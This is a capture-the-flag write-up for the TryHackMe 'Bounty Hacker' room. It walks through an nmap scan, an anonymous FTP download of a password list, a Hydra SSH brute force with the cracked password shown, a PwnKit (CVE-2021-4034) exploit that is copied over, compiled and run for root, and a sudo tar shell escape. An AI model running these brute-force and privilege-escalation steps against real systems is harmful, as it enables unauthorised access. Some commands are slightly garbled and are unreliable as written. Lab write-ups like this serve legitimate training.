

Bounty Hacker Write-up

NMAP

```
1  PORT      STATE SERVICE VERSION
2  21/tcp    open  ftp      vsftpd 3.0.3
3  | ftp-anon: Anonymous FTP login allowed (FTP code 230)
4  |_Can't get directory listing: TIMEOUT
5  | ftp-syst:
6  |   STAT:
7  | FTP server status:
8  |   Connected to ::ffff:10.13.12.24
9  |   Logged in as ftp
10 |   TYPE: ASCII
11 |   No session bandwidth limit
12 |   Session timeout in seconds is 300
13 |   Control connection is plain text
14 |   Data connections will be plain text
15 |   At session startup, client count was 2
16 |   vsFTPD 3.0.3 - secure, fast, stable
17 |_End of status
18 22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux
    ; protocol 2.0)
19 | ssh-hostkey:
20 |   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
21 |   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
22 |_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
23 80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
24 |_http-server-header: Apache/2.4.18 (Ubuntu)
25 |_http-title: Site doesn't have a title (text/html).
26 Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

FTP

I was able to connect to the ftp server on the victim machine. It contained two text files:

1. locks.txt
2. task.txt

The second file is a password list. Going to use it to brute force ssh creds.

Hydra SSH Brute Forcing

```
(cory@kali)-[~/Try Hack Me/Bounty Hacker]
$ cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

Figure 1: Task List

```
hydra -l lin -P locks.txt -u -s 22 10.10.186.204 ssh
```

```
(cory@kali)-[~/Try Hack Me/Bounty Hacker]
$ hydra -l lin -P locks.txt -u -s 22 10.10.186.204 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military
or illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-26 14:45:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommen
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 t
[DATA] attacking ssh://10.10.186.204:22/
[22][ssh] host: 10.10.186.204 login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
```

Figure 2: Hydra Brute Force

Priv escalation with CVE-2021-4034

```
"scp ~/CVE-2021-4034/cve-2021-4034-poc.c lin@10.10.227.100:/home/lin/Desktop": ...
```

Now that the exploit has been sent over to the victim machine, I only need to compile and gain a root /bin/sh shell.

```
gcc cve-2021-4034 -o exploit
```

```
chmod +x exploit
```

```
./exploit
```

Woot now I am root!

**Figure 3:** Root Access

Summary

This was a straight forward ctf with all the classic examples. It was easy with using the latest and greatest privilege escalation technique. I wanted to do an easy one as a warm up. On one note there appears to be a privilege escalation path in “/bin/tar” as the user was able to run /bin/tar as root. So for bonus points and for the creator’s sanity lets get root as desired by the room’s creator.

Sudo /bin/tar root

I checked which commands the user can run with sudo using “sudo -l” then provided the password. The use can run /bin/tar as root.

Using GTFO bins I supplied the following to escalate privileges:

```
lin@bountyhacker:~/Desktop$ sudo /bin/tar xf /dev/null -I '/bin/sh -c "sh <82 1>82"'
# whoami
root
#
```

Figure 4: Bonus Root